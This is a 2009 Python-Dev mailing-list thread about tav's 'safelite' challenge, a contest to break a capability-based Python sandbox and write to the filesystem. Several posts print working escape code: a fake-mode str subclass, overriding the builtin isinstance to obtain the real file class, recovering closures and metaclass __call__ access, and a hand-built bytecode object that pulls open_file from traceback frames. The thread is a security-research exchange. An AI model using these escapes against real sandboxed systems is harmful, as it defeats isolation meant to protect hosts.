> ...   def __eq__(self, o): print o; return 'r' == o
> ...
>>>> f = FileReader('w00t', S('w'))
> r
>>>> f.close()
>>>>
> $ ls -l w00t
> -rw-r----- 1 guido eng 0 Feb 23 14:50 w00t
> $
> 
> 
> On Mon, Feb 23, 2009 at 2:41 PM, tav <tav at espians.com> wrote:
>>> I take it back, we need to find all the trivial ones too.
>> Agreed!
>>
>>> BTW Tav, you ought to create a small website for this challenge. A
>>> blog post or wiki page would suffice.
>> Done.
>>
>> http://tav.espians.com/a-challenge-to-break-python-security.html
>>
>> Please blog/retweet and of course, try the challenge yourselves =)
>>


-- 
Steve Holden        +1 571 484 6266   +1 800 494 3119
Holden Web LLC              http://www.holdenweb.com/


From tav at espians.com  Tue Feb 24 00:03:09 2009
From: tav at espians.com (tav)
Date: Mon, 23 Feb 2009 23:03:09 +0000
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <49A3261A.8040903@v.loewis.de>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
	<49A1CE8D.9000508@v.loewis.de>
	<eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>
	<49A3261A.8040903@v.loewis.de>
Message-ID: <eb24b25b0902231503y3fab2facu9c64483d309317d@mail.gmail.com>

Hey Martin,

>> The patch is a mere 6 lines of code and provides the absolute minimum
>> that is needed to secure the Python interpreter!
>
> Unlike Guido, I'm not quite willing to your word for it.

You are right. Sorry, I was a bit too enthusiastic and overstated the case.

How about: "it could possibly enable a secured Python interpreter" ?

> OTOH, the patch looks harmless (with minor corrections). It could
> be considered a bug fix for the current set of restricted attributes

Yes, and it is in that light that I would like the patch to be accepted.

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From guido at python.org  Tue Feb 24 00:07:31 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 15:07:31 -0800
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>
Message-ID: <ca471dc20902231507o4b595bfbw1502176b8c32f17e@mail.gmail.com>

Sorry, it wasn't Ian Bicking. I have no idea what made me thing that.
I guess I am not yet an experienced Tweeter. :-( It was Mark Eichin,
CC'ed here.

--Guido

On Mon, Feb 23, 2009 at 2:51 PM, Guido van Rossum <guido at python.org> wrote:
> TWIW, on Twitter, Ian Bicking just came up with a half-solution. I
> figured out the other half. I guess you own Ian drinks and me dinner.
> :-)
>
> $ python
> Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09)
> [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>>>> from safelite import FileReader
>>>> class S(str):
> ...   def __eq__(self, o): print o; return 'r' == o
> ...
>>>> f = FileReader('w00t', S('w'))
> r
>>>> f.close()
>>>>
> $ ls -l w00t
> -rw-r----- 1 guido eng 0 Feb 23 14:50 w00t
> $
>
>
> On Mon, Feb 23, 2009 at 2:41 PM, tav <tav at espians.com> wrote:
>>> I take it back, we need to find all the trivial ones too.
>>
>> Agreed!
>>
>>> BTW Tav, you ought to create a small website for this challenge. A
>>> blog post or wiki page would suffice.
>>
>> Done.
>>
>> http://tav.espians.com/a-challenge-to-break-python-security.html
>>
>> Please blog/retweet and of course, try the challenge yourselves =)
>>
>> --
>> love, tav
>>
>> plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
>> http://tav.espians.com | http://twitter.com/tav | skype:tavespian
>>
>
>
>
> --
> --Guido van Rossum (home page: http://www.python.org/~guido/)
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From martin at v.loewis.de  Tue Feb 24 00:16:03 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Feb 2009 00:16:03 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <gnv9mf$lc4$1@ger.gmane.org>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>	<ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>
	<gnv9mf$lc4$1@ger.gmane.org>
Message-ID: <49A32E33.5090607@v.loewis.de>

> Don't I remember the previous restricted module dying a similar "death
> of 1,000 cuts" before it was concluded to be unsafe at any height and
> abandoned?

I think you are slightly misremembering. It got cut again and again,
but never died. Then, new-style classes hit an artery, and it bled
to death.

I'm curious how this one fares.

Regards,
Martin

From tav at espians.com  Tue Feb 24 00:22:19 2009
From: tav at espians.com (tav)
Date: Mon, 23 Feb 2009 23:22:19 +0000
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <ca471dc20902231507o4b595bfbw1502176b8c32f17e@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>
	<ca471dc20902231507o4b595bfbw1502176b8c32f17e@mail.gmail.com>
Message-ID: <eb24b25b0902231522w63fc8a22u2129484300ee71bb@mail.gmail.com>

  guido> >>> class S(str):
  guido> ...   def __eq__(self, o): print o; return 'r' == o
  guido> [snip]

Very devious -- @eichin and Guido!

You guys get the price for the cutest exploit yet -- but sadly no
dinner or drinks -- that was just for the first crack -- which goes to
Victor =)

  steve> Don't I remember the previous restricted module dying a
  steve> similar "death of 1,000 cuts" before it was concluded
  steve> to be unsafe at any height and abandoned?

Steve, this isn't death by a 1,000 cuts. What's being put forward here
is not a specific implementation -- but rather a specific model of
security (the object capability model) -- which has been proven to be
foolproof.

The question here is whether Python can support that. And, my belief
is that it can.

Besides the really nice __eq__ hack, the other exploits so far are
just an inappropriate setup of the environment -- the trick with
object capability is *ensuring* that unsafe references aren't passed
to untrusted code.

In an earlier version of safelite, I even returned the actual file
object when f.close() was called... oops! But that doesn't invalidate
the model or the possibility of using it in Python.

What would invalidate it is someone finding a way to bypass it
completely in Python and this challenge is an attempt to see if we can
find such a way.

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From guido at python.org  Tue Feb 24 00:26:13 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 15:26:13 -0800
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <49A32E33.5090607@v.loewis.de>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>
	<gnv9mf$lc4$1@ger.gmane.org> <49A32E33.5090607@v.loewis.de>
Message-ID: <ca471dc20902231526l2a8501b0ud063ebf6f4546cbd@mail.gmail.com>

On Mon, Feb 23, 2009 at 3:16 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
>> Don't I remember the previous restricted module dying a similar "death
>> of 1,000 cuts" before it was concluded to be unsafe at any height and
>> abandoned?
>
> I think you are slightly misremembering. It got cut again and again,
> but never died. Then, new-style classes hit an artery, and it bled
> to death.
>
> I'm curious how this one fares.

FWIW, I am remembering more about how Samuele cracked it. It had to do
with getting the supervisor code to call one of its own functions with
arguments provided by the sandboxed code. Tav's safelite.py doesn't
seem to be directly exploitable that way because (using ctypes hacks)
it *removes* some offending special methods. But that door would be at
least slightly ajar with Tar's proposed patch to Python, as that
doesn't remove the offending attributes (__subclasses__ etc.); it only
forbids them in restricted mode. But this once again enables Samuele's
hack. (Oh if I only could find the link with the actual attack -- it
was quite a bit more devious than attacks linked to so far.)

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From nas at arctrix.com  Tue Feb 24 00:33:55 2009
From: nas at arctrix.com (Neil Schemenauer)
Date: Mon, 23 Feb 2009 23:33:55 +0000 (UTC)
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
References: <loom.20090222T185801-341@post.gmane.org>
	<ca471dc20902221108u35aae4far8b4dddcdfdb8ddd1@mail.gmail.com>
	<loom.20090222T191832-812@post.gmane.org>
	<ca471dc20902221325g33b4b937rfa58aadfb6ab2bfe@mail.gmail.com>
Message-ID: <gnvbp2$sdi$1@ger.gmane.org>

Guido van Rossum <guido at python.org> wrote:
> No. Trust me. It is not always possible to strengthen the
> implementation. (At least not until we get rid of the "replace all
> globals with None upon module deletion" rule.)

We should do that.  Trying to do cleanup without globals sucks.  I
updated Armin's patch that's attached to issue #812369.  If we could
get some more people to bang on it then prehaps we can trust it
enough to accept it.  If someone wants to test and needs help, give
me a shout.

  Neil


From guido at python.org  Tue Feb 24 00:42:04 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 15:42:04 -0800
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
In-Reply-To: <gnvbp2$sdi$1@ger.gmane.org>
References: <loom.20090222T185801-341@post.gmane.org>
	<ca471dc20902221108u35aae4far8b4dddcdfdb8ddd1@mail.gmail.com>
	<loom.20090222T191832-812@post.gmane.org>
	<ca471dc20902221325g33b4b937rfa58aadfb6ab2bfe@mail.gmail.com>
	<gnvbp2$sdi$1@ger.gmane.org>
Message-ID: <ca471dc20902231542w674d5bfk507f3724882c54fa@mail.gmail.com>

On Mon, Feb 23, 2009 at 3:33 PM, Neil Schemenauer <nas at arctrix.com> wrote:
> Guido van Rossum <guido at python.org> wrote:
>> No. Trust me. It is not always possible to strengthen the
>> implementation. (At least not until we get rid of the "replace all
>> globals with None upon module deletion" rule.)
>
> We should do that.  Trying to do cleanup without globals sucks.  I
> updated Armin's patch that's attached to issue #812369.  If we could
> get some more people to bang on it then prehaps we can trust it
> enough to accept it.  If someone wants to test and needs help, give
> me a shout.

So how do you get destructors to run in that case? Or do you just not
run them? Then open files may not be closed and may not even see their
buffer flushed. I'm not happy about that.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From flashk at gmail.com  Tue Feb 24 00:51:25 2009
From: flashk at gmail.com (Farshid Lashkari)
Date: Mon, 23 Feb 2009 15:51:25 -0800
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
Message-ID: <978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com>

It seems like some code in safelite passes a file object to
isinstance. By overriding the builtin isinstance function I can get
access to the original file object and create a new one. Here is the
code I used:

from safelite import FileReader

_real_file = None

def _new_isinstance(obj,types):
    global _real_file
    if _real_file is None and obj.__class__.__name__ == 'file':
        _real_file = obj.__class__
    return _old_isinstance(obj,types)

_old_isinstance = __builtins__.isinstance
__builtins__.isinstance = _new_isinstance

FileReader('nul')

f = _real_file('foo.txt','w')
f.write('hello')
f.close()

-Farshid


On Mon, Feb 23, 2009 at 12:10 PM, tav <tav at espians.com> wrote:
> Hey all,
>
> As an attempt to convince everyone of the merits of my functions-based
> approach to security, I've come up with a simple challenge. I've
> attached it as safelite.py
>
> The challenge is simple:
>
> * Open a fresh Python interpreter
> * Do: >>> from safelite import FileReader
> * You can use FileReader to read files on your filesystem
> * Now find a way to *write* to the filesystem from your interpreter
>
> Please note that the aim of this isn't to protect Python against
> crashes/segfaults or exhaustion of resources attacks, so those don't
> count.
>
> I'm keen to know your experiences even if you don't manage to write to
> the filesystem -- and especially if you do!
>
> Dinner and drinks on me for an evening -- when you are next in London
> or I am in your town -- to the first person who manages to break
> safelite.py and write to the filesystem.
>
> Good luck and thanks! =)
>
>> If you block __closure__ and __globals__ on function objects you will get a
>> semblance of a private namespace. That way you might (I have not thought
>> this one through like securing the interpreter for embedding) be able to get
>> what you need to safely pass in Python code through the globals of the code
>> being executed.
>
> Brett, this is exactly what I do. You also need to restrict func_code.
> The patch is simply for closing the other loopholes:
> type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible
> in a patch of 6 lines of code thanks to Python's existing restricted
> framework in the interpreter.
>
> Please review and accept =)
>
> * http://codereview.appspot.com/20051
> * http://codereview.appspot.com/21051
>
> Thanks!
>
> --
> love, tav
>
> plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
> http://tav.espians.com | @tav | skype:tavespian
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/flashk%40gmail.com
>
>

From solipsis at pitrou.net  Tue Feb 24 00:59:29 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 23 Feb 2009 23:59:29 +0000 (UTC)
Subject: [Python-Dev]
	=?utf-8?q?Challenge=3A_Please_break_this!_=28was=3A_?=
	=?utf-8?q?Reviving=09restricted_mode=29?=
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com>
Message-ID: <loom.20090223T235910-755@post.gmane.org>

Farshid Lashkari <flashk <at> gmail.com> writes:
> 
> It seems like some code in safelite passes a file object to
> isinstance. By overriding the builtin isinstance function I can get
> access to the original file object and create a new one. Here is the
> code I used:

I guess Tav should open a restaurant :-)




From victor.stinner at haypocalc.com  Tue Feb 24 01:06:54 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Tue, 24 Feb 2009 01:06:54 +0100
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com>
Message-ID: <200902240106.54442.victor.stinner@haypocalc.com>

Le Tuesday 24 February 2009 00:51:25 Farshid Lashkari, vous avez ?crit?:
> It seems like some code in safelite passes a file object to
> isinstance. By overriding the builtin isinstance function I can get
> access to the original file object and create a new one.

Wow, excellent idea!

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From victor.stinner at haypocalc.com  Tue Feb 24 01:14:02 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Tue, 24 Feb 2009 01:14:02 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902231522w63fc8a22u2129484300ee71bb@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<ca471dc20902231507o4b595bfbw1502176b8c32f17e@mail.gmail.com>
	<eb24b25b0902231522w63fc8a22u2129484300ee71bb@mail.gmail.com>
Message-ID: <200902240114.02265.victor.stinner@haypocalc.com>

Le Tuesday 24 February 2009 00:22:19 tav, vous avez ?crit?:
>   guido> >>> class S(str):
>   guido> ...   def __eq__(self, o): print o; return 'r' == o
>   guido> [snip]
>
> Very devious -- @eichin and Guido!

mode = str(mode) is not enough to protect FileReader about evil object 
faking "r" string. Example without safelite.py:
--------------------
class Mode(str):
   def __str(__self):
      return self
   def __eq__(self, x):
      return x == 'r'
mode = Mode('w')
mode = str(mode)
assert mode == 'r'  # ok !
f=open('x', mode)  -> opened in write mode
--------------------

... hey! The rules (safelite.py) changed one more time! The check on mode is 
now:

        if type(mode) is not type(''):
            raise TypeError("mode has to be a string.")

Could you keep all versions of safelite.py? (eg. rename new version as 
safelite2.py, safelite3.py, etc.)

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From greg.ewing at canterbury.ac.nz  Tue Feb 24 01:16:17 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Tue, 24 Feb 2009 13:16:17 +1300
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902231522w63fc8a22u2129484300ee71bb@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>
	<ca471dc20902231507o4b595bfbw1502176b8c32f17e@mail.gmail.com>
	<eb24b25b0902231522w63fc8a22u2129484300ee71bb@mail.gmail.com>
Message-ID: <49A33C51.4060808@canterbury.ac.nz>

tav wrote:
> But that doesn't invalidate
> the model or the possibility of using it in Python.

However, there's also the matter of whether it's
*practical* to use the model in Python.

The custom-string exploit illustrates that you have
to be extremely careful what you do with, and
what you assume about, anything given to you by
untrusted code.

How confident is the user of the capability model
going to be that there isn't some other obscure
exploit that he hasn't thought of?

To be able to have confidence in it, a capability
model needs to start with objects having no
capabilities at all, and you deliberately add the
capabilities you want it to have.

But Python objects come by default with a huge
number of capabilities, designed to allow the
programmer to do just about anything he wants
short of wrecking the internals of the interpreter
(wrecking the rest of his computer is fine,
though:-).

And you not only have to think about the
capabilities of the objects that you give to
others, but the capabilities of objects that
others give to you -- and be careful not to
use any of them in a way that could fool you.

So while the model may be theoretically sound,
applying it to Python is not easy to do in a
way that one can have confidence in.

-- 
Greg

From guido at python.org  Tue Feb 24 01:19:37 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 16:19:37 -0800
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <200902240106.54442.victor.stinner@haypocalc.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com>
	<200902240106.54442.victor.stinner@haypocalc.com>
Message-ID: <ca471dc20902231619u3e8c0cb9k187cecc3e3569534@mail.gmail.com>

On Mon, Feb 23, 2009 at 4:06 PM, Victor Stinner
<victor.stinner at haypocalc.com> wrote:
> Le Tuesday 24 February 2009 00:51:25 Farshid Lashkari, vous avez ?crit :
>> It seems like some code in safelite passes a file object to
>> isinstance. By overriding the builtin isinstance function I can get
>> access to the original file object and create a new one.
>
> Wow, excellent idea!

I think in the next version Tav will have to stop the sharing of
__builtins__ between the supervisor and the sandboxed code. There are
too many tricks you can play with this.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From victor.stinner at haypocalc.com  Tue Feb 24 01:31:55 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Tue, 24 Feb 2009 01:31:55 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
Message-ID: <200902240131.55708.victor.stinner@haypocalc.com>

Le Monday 23 February 2009 23:41:30, vous avez ?crit :
> http://tav.espians.com/a-challenge-to-break-python-security.html
>
> Please blog/retweet and of course, try the challenge yourselves =)

The challenge can be seen as: is it possible to read "secret" in the following 
code without using b.func_code, b.func_globals or b.func_closure:
---------------------
def a():
    secret = 42
    def b():
        print(secret)
    return b

b = a()
secret = ???
---------------------


With func_xxx, it's possible to get the secret with:
---------------------
def get_cell_value(cell):
   return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, 
(cell,))()

secret = get_cell_value(b.func_closure[0])  # 42
---------------------
Function found at: http://code.activestate.com/recipes/439096/


But how can we get the closure if b.func_closure doesn't exist? Oh, wait! 
What's this: b.__getattribute__...
-------------------------------------
secret = get_cell_value(b.__getattribute__('func_closure')[0])
-------------------------------------


About FileReader, a full exploit:
-------------------------------------
from safelite import FileReader

def get_cell_value(cell):
   return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, 
(cell,))()

# Create 'w' string which is equals to 'r'
class Mode(str):
  def __str__(self):
    return self
  def __eq__(self, x):
    return x == 'r'
mode = Mode('w')

f = FileReader('0wn3d', 'w')
fileobj = get_cell_value(f.tell.__getattribute__('func_closure')[0])
fileobj.write('twice!\n')
f.close()
-------------------------------------

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From tav at espians.com  Tue Feb 24 01:33:35 2009
From: tav at espians.com (tav)
Date: Tue, 24 Feb 2009 00:33:35 +0000
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <ca471dc20902231619u3e8c0cb9k187cecc3e3569534@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<978d1eac0902231551i23f7d494h32a4035ea786a801@mail.gmail.com>
	<200902240106.54442.victor.stinner@haypocalc.com>
	<ca471dc20902231619u3e8c0cb9k187cecc3e3569534@mail.gmail.com>
Message-ID: <eb24b25b0902231633m21c56181r36a2715f053048ef@mail.gmail.com>

Hey all,

  victor> Could you keep all versions of safelite.py?

I took Steven D'Aprano's advice and added a VERSION attribute and
state the latest version on
http://tav.espians.com/a-challenge-to-break-python-security.html

Is that okay?

  antoine> I guess Tav should open a restaurant :-)

Hehe!! Thankfully I only offered to it to the first person *phew!*

  farshid> It seems like some code in safelite passes
  farshid> a file object to isinstance. By overriding the
  farshid> builtin isinstance function I can get access to
  frashid> the original file object and create a new one.

Farshid, this is beautiful!!!

Thank you -- it's very nicely done!!

Do you have a website I could link to from the blog article?

  guido> I think in the next version Tav will have to stop
  guido> the sharing of __builtins__ between the supervisor
  guido> and the sandboxed code. There are too many
  guido> tricks you can play with this.

Done.

The common pattern that arised out of the various
builtins-overriding-hacks is that "safe" code should *never* make
assumptions about the state of the globals. The use of closures seems
to fix this problem with an easily-auditable design pattern.

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From tav at espians.com  Tue Feb 24 01:42:04 2009
From: tav at espians.com (tav)
Date: Tue, 24 Feb 2009 00:42:04 +0000
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <200902240131.55708.victor.stinner@haypocalc.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
Message-ID: <eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>

Hey Victor,

You definitely got to the heart of the challenge.

> f.tell.__getattribute__('func_closure')

But, have you actually run that code?

Cos that doesn't work here... sorry if I missed something...

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From victor.stinner at haypocalc.com  Tue Feb 24 01:43:11 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Tue, 24 Feb 2009 01:43:11 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <200902240131.55708.victor.stinner@haypocalc.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
Message-ID: <200902240143.12043.victor.stinner@haypocalc.com>

Le Tuesday 24 February 2009 01:31:55 Victor Stinner, vous avez ?crit?:
> (...)
> But how can we get the closure if b.func_closure doesn't exist? Oh, wait!
> What's this: b.__getattribute__...
> -------------------------------------
> secret = get_cell_value(b.__getattribute__('func_closure')[0])
> -------------------------------------
> (...)

Before this exploit, I tried to rewrite get_cell_value() to avoid reading 
func_xxx ... but it does work, I always need the closure data to get the 
secret. Anyway, I think that creating executing arbitrary Python bytecode 
have to be blocked!

  compile() have to be removed from __builtins__


Extract of my try to rewrite get_cell_value():
------------------------------------
# get code class
c = compile('1', '<string>', 'eval')
code = c.__class__

# get function class
def func():
    pass
function = type(func)
function.__dict__.clear()

#  code(argcount, nlocals, stacksize, flags, codestring, constants, names,
#        varnames, filename, name, firstlineno, lnotab, freevars, cellvars)
func_code=code(0, 0, 1, 19, '\x88\x00\x00S', (None,), tuple(),
         tuple(), '<string>', 'hack', 3, '\x00\x01', ('fileobj',), tuple())

closure = b.func_closure   # FIXME: Get b closure!?
newread = function(func_code, globals(), func_code.co_name, None, closure)
fileobj = newread()
------------------------------------

I'm able to get the code class and so create arbitrary code object, that's 
bad! If the user is unable to create a code object (no more compile()) or to 
get the code of a function, it's fine.


Note: The byteocode is the bytecode of b() in the following code:

def a():
  secret = 42
  def b():
     return secret
  return b()

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From victor.stinner at haypocalc.com  Tue Feb 24 01:47:05 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Tue, 24 Feb 2009 01:47:05 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
Message-ID: <200902240147.05139.victor.stinner@haypocalc.com>

victor> f.tell.__getattribute__('func_closure')

tak> But, have you actually run that code?

Ooops, I modified my local copy of safelite.py to disable func_xxx 
protections :-p With the latest version of safelite.py, my exploit doesn't 
work anymore. Sorry.

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From nas at arctrix.com  Tue Feb 24 01:59:08 2009
From: nas at arctrix.com (Neil Schemenauer)
Date: Tue, 24 Feb 2009 00:59:08 +0000 (UTC)
Subject: [Python-Dev] Silencing IO errors on del/dealloc?
References: <loom.20090222T185801-341@post.gmane.org>
	<ca471dc20902221108u35aae4far8b4dddcdfdb8ddd1@mail.gmail.com>
	<loom.20090222T191832-812@post.gmane.org>
	<ca471dc20902221325g33b4b937rfa58aadfb6ab2bfe@mail.gmail.com>
	<gnvbp2$sdi$1@ger.gmane.org>
	<ca471dc20902231542w674d5bfk507f3724882c54fa@mail.gmail.com>
Message-ID: <gnvgos$61o$1@ger.gmane.org>

Guido van Rossum <guido at python.org> wrote:
> So how do you get destructors to run in that case? Or do you just not
> run them? Then open files may not be closed and may not even see their
> buffer flushed. I'm not happy about that.

Unfortantely I don't have an up-to-date understand of the issues
regarding modules and reference cycles.  As I understand it, the
patches makes the shutdown procedure replace references to modules
with weak references thereby allowing most to be GCed.  Running
finalizers in that environment is causes less problems then just
directly clobbering global vars with None.

  Neil


From guido at python.org  Tue Feb 24 01:59:57 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 16:59:57 -0800
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <200902240147.05139.victor.stinner@haypocalc.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<200902240147.05139.victor.stinner@haypocalc.com>
Message-ID: <ca471dc20902231659u632071f6y5a19ba99dd672585@mail.gmail.com>

Another potential avenue for attacks:

I can access the various class and metaclass objects easily:

>>> f = FileReader('/etc/passwd')
>>> f.__class__
<class 'safelite.NamespaceObject'>
>>> f.__class__.__metaclass__
<class 'safelite.NamespaceContext'>
>>> f.__class__.__metaclass__.__call__
<unbound method NamespaceContext.__call__>
>>> f.__class__.__metaclass__.__call__.im_func
<function __call__ at 0x66470>
>>> kall = f.__class__.__metaclass__.__call__.im_func
>>>

Now calling kall() with appropriate arguments will allow me to let the
supervisor do setattr() operations on any object I have access to. It
will probably end with an exception but that shouldn't matter:

>>> kall(f.__class__.__metaclass__, [('foo', 47)])
<type 'list'>
>>> f.__class__.__metaclass__.foo
47
>>>

Insofar as the metaclass has any purpose at all for security this
might let us thwart that purpose...

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From tav at espians.com  Tue Feb 24 08:07:17 2009
From: tav at espians.com (tav)
Date: Tue, 24 Feb 2009 07:07:17 +0000
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <ca471dc20902231659u632071f6y5a19ba99dd672585@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<200902240147.05139.victor.stinner@haypocalc.com>
	<ca471dc20902231659u632071f6y5a19ba99dd672585@mail.gmail.com>
Message-ID: <eb24b25b0902232307s4528cf02r58b1190a8cbcad08@mail.gmail.com>

  guido> I can access the various class and metaclass objects
  guido> easily [snip]

It would've been possible to replace __call__ on the metaclass --
which, though not a security leak by itself, could've been abused for
some fun.

I've inlined the __metaclass__ to prevent fun of this kind.

But the really tricky one so far is this hardcore hack that Paul
Cannon emailed in:

>>> from safelite import FileReader
>>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 2, 4, 67, 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S', (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,))
>>> try:
...   FileReader('foo', 2)
... except:
...   pass
...
>>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')

He explains it in detail here:
http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html

It's very cool!

